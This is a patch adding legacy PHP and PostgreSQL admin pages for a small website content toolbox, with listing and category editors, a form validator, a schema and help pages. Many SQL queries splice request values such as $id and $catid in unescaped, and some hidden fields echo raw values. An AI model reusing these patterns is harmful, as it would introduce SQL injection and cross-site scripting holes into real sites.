+ $tmp_value .= "'$date'";
+ $tmp_value .= ",";
+ }
+ elseif($DB_fields[$i][type]=="static")
+ {
+ }
+ elseif($DB_fields[$i][type]=="datetime")
+ {
+ $month = $DB_fields[$i][name]."_month";
+ $day = $DB_fields[$i][name]."_day";
+ $year = $DB_fields[$i][name]."_year";
+ $H = $DB_fields[$i][name]."_hour";
+ $mm = $DB_fields[$i][name]."_mm";
+ if($$mm == "PM")
+ $$H = $$H + 12;
+ $m = $DB_fields[$i][name]."_min";
+ $date = date("Y-m-d H:i:s T",mktime($$H,$$m,0,$$month,$$day,$$year));
+ $tmp_value .= "'$date'";
+ $tmp_value .= ",";
+ }
+ elseif($DB_fields[$i][type]=="img")
+ {
+ $tmp_value .= "'".$image_name."'";
+ $tmp_value .= ",";
+ }
+ elseif($DB_fields[$i][name]!=ID)
+ {
+ $tmp_value .= "'".$$DB_fields[$i][name]."'";
+ $tmp_value .= ",";
+ }
+ }
+ // check for all blanks
+ $tmp_blank = str_replace("'","",$tmp_value);
+ $tmp_blank = str_replace(",","",$tmp_blank);
+ if($tmp_blank)
+ {
+ $qs = "INSERT INTO ".TABLE."
+ (".ID.", $tmp create_date)
+ VALUES
+ (nextval('".SEQUENCE."'), $tmp_value '$create_date')";
+
+ if(!db_auto_exec($qs))
+ $ERRORS .= pg_errormessage($dbd).$qs;
+ }
+ break;
+
+ case "Delete":
+ $qs = "DELETE FROM ".TABLE."
+ WHERE ".ID." = $id";
+
+ if(!db_auto_exec($qs))
+ $ERRORS .= pg_errormessage($dbd).$qs;
+
+ break;
+
+ case "Cancel":
+ break;
+
+ default:
+ $ERRORS .= "incorrect value for Command";
+ break;
+
+ }
+
+header("Location: $location");
+}
+?>
--- /dev/null
+function isblank(s) {
+ for(var i = 0; i < s.length; i++) {
+ var c = s.charAt(i);
+ if((c != ' ') && (c != '\n') && (c != '\t'))
+ return(false);
+ }
+ return(true);
+}
+
+function verify(f) {
+ var msg;
+ var empty_fields = "";
+ var errors = "";
+
+ for(var i = 0; i < f.length; i++) {
+ var e = f.elements[i];
+ if(((e.type == "text") || (e.type == "textarea")) && !e.optional) {
+ if((e.value == null) || (e.value == "") || isblank(e.value)) {
+ empty_fields += "\n " + e.r;
+ continue;
+ }
+
+ if(e.d) {
+ if(isNaN(Date.parse(e.value)))
+ errors += "- The field " +e.r+" must be formated like 01/17/2001\n";
+ }
+ if(e.numeric || (e.min != null) || (e.max != null)) {
+ if(e.i) {
+ var v = parseInt(e.value);
+ if(v != e.value) {
+ errors += "- The field " +e.r + " must be a ";
+ errors += "number with no decimal\n";
+ continue;
+ }
+ }
+ else
+ var v = parseFloat(e.value);
+ if(isNaN(v) ||
+ ((e.min != null) && (v < e.min)) ||
+ ((e.max != null) && (v > e.max))) {
+
+ errors += "- The field " + e.r + " must be a number";
+ if(e.min != null)
+ errors += " that is greater than " + e.min;
+ if(e.max != null && e.min != null)
+ errors += " and less than " + e.max;
+ else if (e.max != null)
+ errors += " that is less than " + e.max;
+ errors += ".\n";
+ }
+ }
+ }
+ }
+
+ if(!empty_fields && !errors)
+ return(true);
+
+ msg = "_____________________________________________________\n\n";
+ msg +="The form was not submitted because of the following error(s).\n";
+ msg +="Please correct these error(s) and re-submit.\n";
+ msg +="_____________________________________________________\n\n";
+
+ if(empty_fields) {
+ msg += "- The following required field(s) are empty:"
+ + empty_fields + "\n";
+ if(errors)
+ msg += "\n";
+ }
+ msg += errors;
+ alert(msg);
+ return(false);
+}
--- /dev/null
+<?php
+include("../../setup.phtml");
+include("contact_setup.inc");
+define("STYLE","main.css");
+if($id == '')
+$id = 1;
+top("AutoReponse for Newsletter", HELP_BASE."response.phtml?key=edit+section");
+?>
+
+<?
+
+html_nav_table($nav,$navWidth);
+
+echo'
+<iframe src="preview.phtml"
+width="780" height="480"
+align="center">
+</iframe>
+
+
+ </td>
+</tr>
+</table>';
+
+footer();
+?>
+
+
+
--- /dev/null
+function glm_open(o) {
+ var x = (screen.width/2) - (o.width/2);
+ var y = (screen.height/2) - (o.height/2);
+ var args = "width="+o.width+",height="+o.height+",screenX="+x+",screenY="+y+",top="+y+",left="+x;
+ if(o.scroll == true)
+ args += ",scrollbars=1";
+ //args += "\'";
+ //alert(args);
+ pow=window.open(o.url,o.name,args);
+ //confirm(args);
+ if (pow.opener == null)
+ pow.opener = self;
+}
--- /dev/null
+\connect - postgres
+
+CREATE TABLE "bus" (
+ "id" SERIAL,
+ "name" text,
+ "description" text,
+ "description2" text,
+ "description3" text,
+ "image" text,
+ "imagename" text,
+ "image2" text,
+ "image2name" text,
+ "image3" text,
+ "image3name" text,
+ "urlname" text,
+ "url" text,
+ "address" text,
+ "city" text,
+ "state" text,
+ "zip" text,
+ "phone" text,
+ "fax" text,
+ "email" text,
+ "pos" integer,
+ "file" text,
+ "filename" text,
+ "file2" text,
+ "file2name" text,
+ "file3" text,
+ "file3name" text,
+ "contactname" text
+);
+
+REVOKE ALL on "bus" from PUBLIC;
+GRANT ALL on "bus" to "nobody";
+GRANT ALL on "bus" to "postgres";
+
+REVOKE ALL on "bus_id_seq" from PUBLIC;
+GRANT ALL on "bus_id_seq" to "nobody";
+GRANT ALL on "bus_id_seq" to "postgres";
+
+CREATE TABLE "bus_category" (
+ "id" SERIAL,
+ "parent" integer,
+ "category" text,
+ "intro" text,
+ "description" text,
+ "image" text,
+ "active" bool,
+ "pos" integer,
+ "keyword" text,
+ "template" int
+);
+
+REVOKE ALL on "bus_category" from PUBLIC;
+GRANT ALL on "bus_category" to "nobody";
+GRANT ALL on "bus_category" to "postgres";
+
+REVOKE ALL on "bus_category_id_seq" from PUBLIC;
+GRANT ALL on "bus_category_id_seq" to "nobody";
+GRANT ALL on "bus_category_id_seq" to "postgres";
+
+CREATE TABLE "bus_category_bus" (
+ "id" SERIAL,
+ "busid" integer,
+ "catid" integer,
+ "pos" integer
+);
+
+REVOKE ALL on "bus_category_bus" from PUBLIC;
+GRANT ALL on "bus_category_bus" to "nobody";
+GRANT ALL on "bus_category_bus" to "postgres";
+
+REVOKE ALL on "bus_category_bus_id_seq" from PUBLIC;
+GRANT ALL on "bus_category_bus_id_seq" to "nobody";
+GRANT ALL on "bus_category_bus_id_seq" to "postgres";
+
+CREATE UNIQUE INDEX bus_id_indx ON bus (id);
+
+CREATE UNIQUE INDEX bus_category_id_indx ON bus_category (id);
+CREATE INDEX bus_category_parent_indx ON bus_category (parent);
+CREATE INDEX bus_category_pos_indx ON bus_category (pos);
+CREATE INDEX bus_category_keyword_indx ON bus_category (keyword);
+CREATE INDEX bus_category_template_indx ON bus_category (template);
+
+CREATE UNIQUE INDEX bus_category_bus_id_indx ON bus_category_bus (id);
+CREATE INDEX bus_category_bus_busid_indx ON bus_category_bus (busid);
+CREATE INDEX bus_category_bus_catid_indx ON bus_category_bus (catid);
+
--- /dev/null
+<?php
+//$Id: edit_bus.phtml,v 1.1.1.1 2006/07/13 13:53:53 matrix Exp $
+include("../../setup.phtml");
+include("toolbox_setup.inc");
+
+if(!$dbd = db_connect())
+{
+ html_error(DB_ERROR_MSG, 1);
+}
+
+if(isset($id))
+{
+ $qs = "SELECT b.*
+ FROM bus b,bus_category_bus bcb,bus_category bc
+ WHERE b.id = $id
+ AND bcb.busid = $id
+ AND bcb.busid = b.id
+ AND bcb.catid = bc.id";
+
+ if(!$res = db_exec($dbd, $qs))
+ {
+ html_error(DB_ERROR_MSG.$qs,1);
+ }
+ $row = db_fetch_array($res,0, PGSQL_ASSOC);
+ if(!$row[id])
+ {
+ html_error(DB_ERROR_MSG.$qs,1);
+ }
+}
+else
+{
+ $row = array (
+ "name" => "",
+ "catid" => $catid,
+ "address" => "",
+ "city" => "",
+ "state" => "",
+ "zip" => "",
+ "phone" => "",
+ "fax" => "",
+ "email" => "",
+ "url" => "",
+ "description" => "",
+ "image" => "",
+ "description2" => "",
+ "image2" => "",
+ "description3" => "",
+ "image3" => "",
+ "file" => "",
+ "file2" => "",
+ "file3" => ""
+ );
+}
+
+top2("Updatable Paragraphs (Add/Edit)", HELP_BASE."bus.phtml?key=edit","ToolboxUserGuide_1.0");
+
+html_nav_table($lnav, 3);
+
+$qs = "SELECT id,category
+FROM bus_category
+ORDER BY parent,pos";
+
+if(!$altcats = db_exec($dbd,$qs))
+{
+ html_error(DB_ERROR_MSG.$qs,0);
+}
+
+?>
+<script>
+ function mySubmit()
+ {
+ var check = 0;
+ for( i = 0; i < <?echo pg_numrows($altcats);?>;i++ )
+ {
+ if( document.myform.catid.options[i].selected )
+ {
+ check = 1;
+ document.myform.category.value += ':' + document.myform.catid.options[i].value;
+ }
+ }
+ if( check == 0 )
+ {
+ alert('Must select one Category from the list!');
+ return(false);
+ }
+ }
+</script>
+<?php
+ if(MULTIPLE_CAT)
+ {
+ ?>
+
+<form name="myform" action="update_bus.phtml?SID" method="POST" enctype="multipart/form-data" onSubmit="return(mySubmit(this));">
+ <?
+}
+else
+{
+ ?>
+
+<form name="myform" action="update_bus.phtml?SID" method="POST" enctype="multipart/form-data">
+ <?
+}
+ echo "<table cellspacing=0 cellpadding=4 width=400 align=center border=0 bgcolor=\"#c0c0c0\">";
+
+ echo "<tr><th colspan=2>Pages:</th></tr>";
+ if(isset($id) && $id != "")
+ {
+ $qs = "SELECT bc.id as catid, bcb.id as id,bc.category,bcb.pos
+ FROM bus_category bc,bus_category_bus bcb,bus b
+ WHERE bcb.busid = $id
+ AND bcb.catid = bc.id
+ AND b.id = bcb.busid
+ ORDER BY bc.category";
+
+ if(!$altres = db_exec($dbd,$qs))
+ {
+ html_error(DB_ERROR_MSG.$qs,0);
+ }
+
+ for($rel=0;$rel<db_numrows($altres);$rel++)
+ {
+ $altrow = db_fetch_array($altres,$rel,PGSQL_ASSOC);
+ $oldalt[$rel] = array_merge_recursive($altrow,$oldalt);
+ }
+ }
+ ?>
+ <tr><td class="navtd" align="right">Page:</td>
+ <td>
+ <? echo parent_select($catid,NULL,"catid[]");?>
+ <?$oldcatid = "";
+ for($i=0;$i<db_numrows($altcats);$i++)
+ {
+ $altrow = db_fetch_array($altcats,$i,PGSQL_ASSOC);
+ for($a=0;$a<count($oldalt);$a++)
+ {
+ if(is_array($oldalt) && ($oldalt[$a][catid] == $altrow[id]))
+ {
+ $oldcatid .= ":".$altrow[id];
+ }
+ }
+ }
+
+ ?>
+ <?if(MULTIPLE_CAT){?>
+ <input type="hidden" name="category" value="">
+ <?}?>
+ <input type="hidden" name="oldcatid" value="<?echo $oldcatid?>">
+</td></tr>
+<?
+echo "<tr><td colspan=2><hr noshade></td></tr>";
+
+foreach($fields as $key=>$value)
+{
+ if($value[type] == "text")
+ {
+ ?>
+ <tr><td class="navtd" align="right"><?echo $value[title]?></td>
+ <td><input name="<?echo $value[name]?>"
+ value="<?echo htmlspecialchars($row[$value[name]])?>" size=40></td>
+ </tr>
+ <?
+ }
+ elseif($value['type'] == "keyword")
+ {
+ echo "<tr><td class=\"navtd\" align=\"right\"><font color=red>Keyword:</font></td>";
+ text_box("keyword",htmlspecialchars($row[$value[name]]));
+ echo "</tr>";
+ }
+ elseif($value['type'] == "seperator")
+ {
+ echo '<tr><td colspan="2"><hr noshade></td></tr>';
+ echo '<tr><td colspan="2" align="center"><b>'.$value["name"].'</b></td></tr>';
+ }
+ elseif($value[type] == "img")
+ {
+ echo '
+ <tr></tr>
+ ';
+ echo "<input type=\"hidden\" name=\"old".$value[name]."\" value=\"".$row[$value[name]]."\">";
+ if($row[$value[name]] != "")
+ {
+ echo "<tr><td class=\"navtd2\" align=\"right\">Current Image:</td>";
+ echo "<td><img src=\"".MIDSIZED.$row[$value[name]]."\">
+ </td>
+ </tr>
+ <tr>
+ <td class=\"navtd2\" align=\"right\">Delete this image:</td>
+ <td>
+ <input type=\"radio\" name=\"delete".$value[name]."\" value=\"1\">Yes
+ <input type=\"radio\" name=\"delete".$value[name]."\" value=\"2\" CHECKED>No
+ </td>
+ </tr>";
+ }
+ echo "<tr><td class=\"navtd\" align=\"right\">New $value[title]:</td>";
+ echo "<td><input type=\"file\" name=\"".$value[name]."\"></td>";
+ echo "</tr>";
+ }
+ elseif($value[type] == "file")
+ {
+ echo '
+ <tr></tr>
+ ';
+ echo "<input type=\"hidden\" name=\"old".$value[name]."\" value=\"".$row[$value[name]]."\">";
+ if($row[$value[name]] != "")
+ {
+ echo "<tr><td class=\"navtd2\" align=\"right\">Current File:</td>";
+ echo "<td>".$row[$value[name]]."
+ </td>
+ </tr>
+ <tr>
+ <td class=\"navtd2\" align=\"right\">Delete this File:</td>
+ <td>
+ <input type=\"radio\" name=\"delete".$value[name]."\" value=\"1\">Yes
+ <input type=\"radio\" name=\"delete".$value[name]."\" value=\"2\" CHECKED>No
+ </td>
+ </tr>";
+ }
+ echo "<tr><td class=\"navtd\" align=\"right\">New $value[title]:</td>";
+ echo "<td><input type=\"file\" name=\"".$value[name]."\"></td>";
+ echo "</tr>";
+ }
+ if($value[type] == "desc")
+ {
+ echo "<tr><td class=\"navtd\" align=\"right\">$value[title]:</td>";
+ text_area("$value[name]",htmlspecialchars($row[$value[name]]));
+ echo "</tr>";
+ }
+ elseif($value[type] == "hide")
+ {
+ echo "<input type=\"hidden\" name=\"".$value[title]."\" value=\"".$row[$value[name]]."\">";
+ }
+ elseif($value[type] == "bool")
+ {
+ echo "<tr><td class=\"navtd\" align=\"right\">$value[title]:</td><td>";
+ echo "<input type=\"radio\" name=\"".$value[name]."\" value=\"t\"".($row[$value[name]]=="t"?" checked":"");
+ echo ">Yes";
+ echo "<input type=\"radio\" name=\"".$value[name]."\" value=\"f\"".($row[$value[name]]!="t"?" checked":"");
+ echo ">No";
+
+ echo "</tr>";
+ }
+}
+htmlcode(570,400);
+echo '<input type="hidden" name="base_parent" value="'.$base_parent.'">';
+if(isset($id))
+{
+?>
+<tr><td colspan=2 align=center>
+ <input type="submit" name="Command" value="Update">
+ <input type="submit" name="Command" value="Cancel">
+ <input type="submit" name="Command" value="Delete" onClick="
+ if(confirm('This will delete this Listing!\n Are you sure?'))
+ return(true);
+ else
+ return(false);
+ ">
+ </td>
+ <?
+}
+else
+{
+ form_footer("Insert","",2);
+}
+echo "</tr></table></form>";
+
+footer();
+?>
--- /dev/null
+<?
+include("../../setup.phtml");
+include("toolbox_setup.inc");
+
+top2("Page (Add/Edit)", HELP_BASE."buscat.phtml?key=edit","ToolboxUserGuide_1.0");
+
+$lnav = array(
+ "List Pages" => "list_bus_category.phtml"
+ );
+if(!CAT_LOCK)
+ $lnav["Add Page"] = "edit_bus_category.phtml";
+ html_nav_table($lnav, 2);
+
+if(!$dbd = db_connect()) html_error(DB_ERROR_MSG, 1);
+
+if(isset($id))
+ {
+ if( DELUXE_TOOLBOX == 1 )
+ {
+ $qs = "SELECT id,category,intro,parent,description,imagename,image,keyword,template,pos
+ FROM bus_category
+ WHERE id = $id";
+ }
+ else
+ {
+ $qs = "SELECT id,category,intro,parent,description,imagename,image,pos
+ FROM bus_category
+ WHERE id = $id";
+ }
+
+ if(!$res = db_exec($dbd, $qs))
+ html_error(DB_ERROR_MSG,1);
+
+ $row = db_fetch_array($res,0, PGSQL_ASSOC);
+ if(!$row[id])
+ {
+ html_error(DB_ERROR_MSG,1);
+ }
+ }
+else
+ {
+ if( DELUXE_TOOLBOX == 1 )
+ {
+ $row = array(
+ "category" => "",
+ "intro" => "",
+ "parent" => "",
+ "description" => "",
+ "imagename" => "",
+ "image" => "",
+ "keyword" => "",
+ "template" => "1"
+ );
+ }
+ else
+ {
+ $row = array(
+ "category" => "",
+ "intro" => "",
+ "parent" => "",
+ "description" => "",
+ "imagename" => "",
+ "image" => ""
+ );
+ }
+ }
+form_header("update_bus_category.phtml?".SID,"POST","");
+echo "<table bgcolor=\"#c0c0c0\" cellspacing=0 cellpadding=4 width=400 align=center border=0>";
+
+foreach($row as $key=>$value) {
+ switch($key) {
+
+ case "id":
+ echo "<input type=\"hidden\" name=\"id\" value=\"$value\">";
+ break;
+
+ case "pos":
+ echo "<input type=\"hidden\" name=\"oldpos\" value=\"$value\">";
+ break;
+
+ case "parent":
+ echo "<tr><td class=\"navtd\" align=\"right\">
+ <input type=\"hidden\" name=\"oldparent\" value=\"$value\">
+ Parent Category:</td>";
+ $output = parent_select($value,$id);
+ if(!$dbd = db_connect()) html_error(DB_ERROR_MSG, 1);
+ echo "<td class=\"navtd2\">".$output."</td>";
+ echo "</tr>";
+ break;
+
+ case "category":
+
+ echo "<tr><td class=\"navtd\" align=\"right\">Page Name:</td>";
+ text_box("category",$value);
+ echo "</tr>";
+ break;
+
+ case "imagename":
+ echo "<tr><td class=\"navtd\" align=\"right\">Image Caption:</td>";
+ text_box("imagename",$value);
+ echo "</tr>";
+ break;
+
+ case "intro":
+ echo "<tr><td class=\"navtd\" align=\"right\">Page Header:</td>";
+ text_box("intro",$value);
+ echo "</tr>";
+ break;
+
+ case "image":
+ echo "<tr><td class=\"navtd\" align=\"right\">Current Image:</td>";
+ echo "<td class=\"navtd2\">
+ <input type=\"hidden\" name=\"oldimage\" value=\"$value\">";
+ if($value != "") {
+ echo "<img src=\"".MIDSIZED."$value\">
+ </td>
+ <tr>
+ <td class=\"navtd\" align=\"right\">Delete this image:</td>
+ <td>
+ <input type=\"radio\" name=\"delete\" value=\"1\">Yes
+ <input type=\"radio\" name=\"delete\" value=\"2\" CHECKED>No
+ </td>
+ </tr>";
+ }
+ echo "<tr><td align=\"right\">
+ New Image:</td><td><input type=\"file\" name=\"image\"></td></tr>";
+ break;
+
+ case "description":
+ echo "<tr><td class=\"navtd\" align=\"right\">Description:</td>";
+ text_area("description",htmlspecialchars($value),15,60);
+ echo "</tr>";
+ break;
+
+ case "keyword":
+ echo "<tr><td class=\"navtd\" align=\"right\"><font color=red>Keyword:</font></td>";
+ text_box("keyword",htmlspecialchars($value));
+ echo "</tr>";
+ break;
+
+ case "template":
+ echo "<tr><td class=\"navtd\" align=\"right\">Template:</td>";
+ echo "<td class=\"navtd\" align=\"left\">
+ <table cellpadding=\"3\" cellspacing=\"0\" border=0>
+ <tr>
+ <td><img src=\"../template1.gif\"></td>
+ <td><img src=\"../template2.gif\"></td>
+ <td><img src=\"../template3.gif\"></td>
+ <td><img src=\"../template4.gif\"></td>
+ <td><img src=\"../template5.gif\"></td>
+ </tr>
+ <tr>
+ <td>";
+ echo "1<input type=\"radio\" name=\"template\" value=\"1\" ";
+ if($value=="1")
+ echo "checked";
+ echo ">";
+ echo "</td>
+ <td>";
+ echo "2<input type=\"radio\" name=\"template\" value=\"2\" ";
+ if($value=="2")
+ echo "checked";
+ echo ">";
+ echo "</td>
+ <td>";
+ echo "3<input type=\"radio\" name=\"template\" value=\"3\" ";
+ if($value=="3")
+ echo "checked";
+ echo ">";
+ echo "</td>
+ <td>";
+ echo "4<input type=\"radio\" name=\"template\" value=\"4\" ";
+ if($value=="4")
+ echo "checked";
+ echo ">";
+ echo "</td>
+ <td>";
+ echo "5<input type=\"radio\" name=\"template\" value=\"5\" ";
+ if($value=="5")
+ echo "checked";
+ echo ">";
+ echo "</td>
+ </tr>
+ </table>
+ </td></tr>";
+ break;
+
+ default:
+ html_error("Incorrect Value -> ".$key,1);
+ break;
+ }
+}
+
+htmlcode();
+
+if(isset($id)) {
+ $qs = "SELECT count(*) as count
+ FROM bus_category_bus
+ WHERE catid = $id";
+
+ if(!$res = db_exec($dbd,$qs))
+ html_error(DB_ERROR_MSG.$qs,0);
+
+ $row = db_fetch_array($res,0,PGSQL_ASSOC);
+ ?>
+ <tr><td colspan=2 align=center>
+ <input type="submit" name="Command" value="Update">
+ <input type="submit" name="Command" value="Cancel">
+ <?
+ if(!CAT_LOCK && !check_lock($id))
+ {
+ ?>
+ <input type="submit" name="Command" value="Delete" onClick="
+ <?if($row[count]==0) {?>
+ if(confirm('This will delete this category!\n Are you sure?'))
+ return(true);
+ else
+ return(false);
+ <?}
+ else {?>
+ alert('You have to remove any records in\n this category first');
+ return(false);
+ <?}?>
+ ">
+ <?
+ }
+ ?>
+ </td></tr>
+ <?
+}
+else {
+ form_footer("Insert","",2);
+}
+echo "</table></form>";
+
+footer();
+?>
--- /dev/null
+<HTML>
+<HEAD>
+<TITLE>Help</TITLE>
+</HEAD>
+<BODY BGCOLOR="#FFFFFF" BACKGROUND="helpbg.gif" TEXT="#000000" LINK="#FF0000" VLINK="#800000" ALINK="#FF00FF" BACKGROUND="?">
+<FONT FACE="ms sans serif,arial,helvetica" SIZE=2 COLOR="#444444">
+<H4 align="center">Listings Help</H4>
+<hr>
+<?
+switch ($key) {
+ case "list":
+ ?>
+<h4 align="center">List Listings</h4>
+
+<P>
+This page lists the existing Listings.
+</p>
+<p>
+<b>Add A New Listing</b>
+</p>
+<p>This link will allow you to add new Listing</p>
+<p>
+<b>List Listings</b>
+</p>
+<p>This link is the page you are currently viewing</p>
+
+<p>
+<b>[Edit]</b>
+</p>
+<p>This link will let you edit an existing Listing</p>
+<?
+ break;
+
+ case "edit":
+ ?>
+<h4 align="center">Edit a Listing</h4>
+<P>
+This page is for editing and modifying an existing Listing in the database.
+When editing is complete, click on the "Submit Query" button. The database will
+be updated, and you will be directed back to the "List Listings" page.
+</p>
+<p>
+<b>Name:</b>
+This is the name of the listing.
+</p>
+
+<p>
+<b>Category</b>
+Choose the correct category for this listing. Default to the category that you
+have choosen to list.
+</p>
+
+<p>
+<b>Description:</b>
+</p>
+<p>This is the text which will appear as a complete description of the Link,
+in the Detailed output of the Link</p>
+<p>
+<b>Address:</b>
+This is the address of the listing.
+</p>
+
+<p>
+<b>Phone:</b>
+This is the Phone Number of the listing.
+</p>
+
+<p>
+<b>Fax:</b>
+This is the Fax Number of the listing.
+</p>
+
+<p>
+<b>Email:</b>
+This is the Email of the listing.
+</p>
+
+<p>
+<b>URL:</b>
+</p>
+<p>This is the web site 5 you want the users to go to when they click the
+link. Don't enter in http://.
+</p>
+<p>
+<b>Picture for Listing:</b>
+</p>
+<p>If you choose, you may upload an image which will be displayed on the
+Detailed output for the Listing. To upload an image, click the "Browse" button.
+For the image to be displayed properly, it must be either a "GIF" or "JPEG"
+formatted image. Generally, these are saved as filename.gif or filename.jpg.
+If you receive an error message while trying to upload an image, the most
+common error is that the image is neither a JPEG nor a GIF. Also note that
+simply renaming the file from filename.foo to filename.gif will not reformat
+the image as a GIF.
+</p>
+
+<p>
+<b>Submit Query</b>
+</p>
+<p>When you have made the changes you want to the Link,
+you can click "Submit Query." This will update the information about the
+Link in the database.
+</p>
+<?
+ break;
+ case "add":
+ ?>
+<h4 align="center">ADD an Link</h4>
+<P>
+This page is for Adding Links in the database.
+When form is complete, click on the "Submit Query" button. The database will
+be updated, and you will be directed back to the "List Links" page.
+</p>
+
+<p>
+<b>Name:</b>
+This is the name of the listing.
+</p>
+
+<p>
+<b>Category</b>
+Choose the correct category for this listing. Default to the category that you
+have choosen to list.
+</p>
+
+<p>
+<b>Description:</b>
+</p>
+<p>This is the text which will appear as a complete description of the Link,
+in the Detailed output of the Link</p>
+<p>
+<b>Address:</b>
+This is the address of the listing.
+</p>
+
+<p>
+<b>Phone:</b>
+This is the Phone Number of the listing.
+</p>
+
+<p>
+<b>Fax:</b>
+This is the Fax Number of the listing.
+</p>
+
+<p>
+<b>Email:</b>
+This is the Email of the listing.
+</p>
+
+<p>
+<b>URL:</b>
+</p>
+<p>This is the web site 5 you want the users to go to when they click the
+link. Don't enter in http://.
+</p>
+
+<p>
+<b>Picture for Link:</b>
+</p>
+<p>If you choose, you may upload an image which will be displayed on the
+Detailed output for the Link. To upload an image, click the "Browse" button.
+For the image to be displayed properly, it must be either a "GIF" or "JPEG"
+formatted image. Generally, these are saved as filename.gif or filename.jpg.
+If you receive an error message while trying to upload an image, the most
+common error is that the image is neither a JPEG nor a GIF. Also note that
+simply renaming the file from filename.foo to filename.gif will not reformat
+the image as a GIF.
+</p>
+
+<p>
+<b>Submit Query</b>
+</p>
+<p>When you have made the changes you want to the Link,
+you can click "Submit Query." This will update the information about the
+Link in the database.
+</p>
+<?
+ break;
+
+}
+?>
+<BR CLEAR=ALL>
+<CENTER><A HREF="" onClick = "window.close('self');"><IMG SRC="closewindow.gif" border=0></A></CENTER>
+</BODY>
+</HTML>
--- /dev/null
+<HTML>
+<HEAD>
+<TITLE>Help</TITLE>
+</HEAD>
+<BODY BGCOLOR="#FFFFFF" BACKGROUND="helpbg.gif" TEXT="#000000" LINK="#FF0000" VLINK="#800000" ALINK="#FF00FF" BACKGROUND="?">
+<FONT FACE="ms sans serif,arial,helvetica" SIZE=2 COLOR="#444444">
+<H4 align="center">Listings Help</H4>
+<hr>
+<?
+switch ($key) {
+ case "list":
+ ?>
+<h4 align="center">List Categories</h4>
+<P>
+This page lists the existing Listings Categories in the database.
+</p>
+<p>
+<b>Add A New Category</b>
+</p>
+<p>This link will allow you to add new Categories</p>
+<p>
+<b>List Categories</b>
+</p>
+<p>This link is the page you are currently viewing</p>
+
+<p>
+<b>[Edit]</b>
+</p>
+<p>This link will let you edit an existing Category</p>
+<p>
+<b>[Listings]</b>
+</p>
+<p>
+This link will list out the Listings Items associated with a particular Category
+</p>
+<p>
+<h1><b>Notice:</b></h1>The categories are Displayed in a order based on there
+hierarchy.
+</p>
+
+<?
+ break;
+
+ case "edit":
+ ?>
+<h4 align="center">Edit a Category</h4>
+<P>
+This page is for editing and modifying the existing Listings Categories in the database.
+When editing is complete, click on the "Update" button. The database will
+be updated, and you will be directed back to the "List Categories" page.
+</p>
+
+<p>
+<b>Title:</b>
+</p>
+<p>This is the title that will appear for the "Category" i.e. "Pictures of The Island"</p>
+<p>
+<b>Intro:</b>
+</p>
+<p>This is the text which will introduce the Category. This text will be
+displayed below the Category Title.
+</p>
+
+<p>
+<b>Description:</b>
+</p>
+<p>This is the text which will fully describe the Category. This text will be
+displayed below the Category Title and Intro.
+</p>
+<p>
+<b>Current Image:</b>
+</p>
+<p>If the record you are editing has an uploaded image, you will see the Current Image: header, and a small version of the image associated with this Category.
+</p>
+<b>Delete This Image:</b>
+</p>
+<p>If the record you are editing has an uploaded image, you will see the Delete This Image: header, and "Yes" and "No" radio buttons. If you choose "Yes" and then "Update" the Room Rate, you will have permanently removed the "Current Image". The default value is "No."
+</p>
+<p>
+<b>New Image:</b>
+</p>
+<p>
+If you choose, you may upload an image which will be displayed on the
+output for the Category. To upload an image, click the "Browse" button.
+For the image to be displayed properly, it must be either a "GIF" or "JPEG"
+formatted image. Generally, these are saved as filename.gif or filename.jpg.
+If you receive an error message while trying to upload an image, the most
+common error is that the image is neither a JPEG nor a GIF. Also note that
+simply renaming the file from filename.foo to filename.gif will not reformat
+the image as a GIF.
+</p>
+
+<p>
+<b>Update</b>
+</p>
+<p>When you have made the changes you want to the 0,
+you can click "Update." This will update the information about the Category
+in the database.
+</p>
+<p>
+<b>Delete</b>
+</p>
+<p>If you want to remove the current Category, press the "Delete" button.
+</p>
+<?
+ break;
+ case "add":
+ ?>
+<h4 align="center">Add Category</h4>
+<P>
+This page is for adding Listings Categories in the database.
+When editing is complete, click on the "Insert" button. The database will
+be updated, and you will be directed back to the "List Categories" page.
+</p>
+<p>
+<b>Title:</b>
+</p>
+<p>This is the title that will appear for the "Category" i.e. "Pictures of The Island"</p>
+<p>
+<b>Intro:</b>
+</p>
+<p>This is the text which will introduce the Category. This text will be
+displayed below the Category Title in the Gallery.
+</p>
+
+<p>
+<b>Description:</b>
+</p>
+<p>This is the text which will fully describe the Category. This text will be
+displayed below the Category Title and Intro in the Gallery.
+</p>
+<p>
+<b>Image:</b>
+</p>
+<p>
+If you choose, you may upload an image which will be displayed on the
+output for the Category. To upload an image, click the "Browse" button.
+For the image to be displayed properly, it must be either a "GIF" or "JPEG"
+formatted image. Generally, these are saved as filename.gif or filename.jpg.
+If you receive an error message while trying to upload an image, the most
+common error is that the image is neither a JPEG nor a GIF. Also note that
+simply renaming the file from filename.foo to filename.gif will not reformat
+the image as a GIF.
+</p>
+<p>
+<b>Insert</b>
+</p>
+<p>When you have entered the information you want for the 0,
+you can click "Insert." This will add the information about the new Category
+in the database.
+</p>
+<?
+ break;
+}
+?>
+<BR CLEAR=ALL>
+<CENTER><A HREF="" onClick = "window.close('self');"><IMG SRC="closewindow.gif" border=0></A></CENTER>
+</BODY>
+</HTML>
--- /dev/null
+<?
+header("Location: list_bus_category.phtml");
+?>
--- /dev/null
+<?
+//$Id: list_bus.phtml,v 1.1.1.1 2006/07/13 13:53:53 matrix Exp $
+include("../../setup.phtml");
+
+if(!$dbd = db_connect()) html_error(DB_ERROR_MSG,1);
+
+$qs = "SELECT category
+ FROM bus_category
+ WHERE id = $catid";
+
+if(!$catres = db_exec($dbd,$qs))
+ html_error(DB_ERROR_MSG.$qs,1);
+
+$catrow = db_fetch_array($catres,0,PGSQL_ASSOC);
+
+$qs = "SELECT b.id,b.name,bcb.pos
+ FROM bus b,bus_category_bus bcb
+ WHERE bcb.catid = $catid
+ AND b.id = bcb.busid
+ AND bcb.catid = $catid
+ ORDER BY bcb.pos";
+
+if(!$res = db_exec($dbd,$qs))
+ html_error(DB_ERROR_MSG.$qs,1);
+top("$catrow[category] Paragraphs", HELP_BASE."bus.phtml?key=list","ToolboxUserGuide_1.0");
+$lnav = array(
+ "Add A New Paragraph" => "edit_bus.phtml?catid=$catid",
+ "List Pages" => "list_bus_category.phtml"
+ );
+html_nav_table($lnav, 2);
+
+echo "<table bgcolor=\"#c0c0c0\" align=center width=500 cellspacing=0 cellpadding=4 border=0>";
+?>
+<tr>
+<TH WIDTH=100 ALIGN=left BGCOLOR="#000000">
+ <FONT FACE="ms sans serif,arial,helvetica" COLOR="#FFFFFF" SIZE="2">
+ Function
+ </FONT>
+</TH>
+<TH ALIGN=left BGCOLOR="#000000">
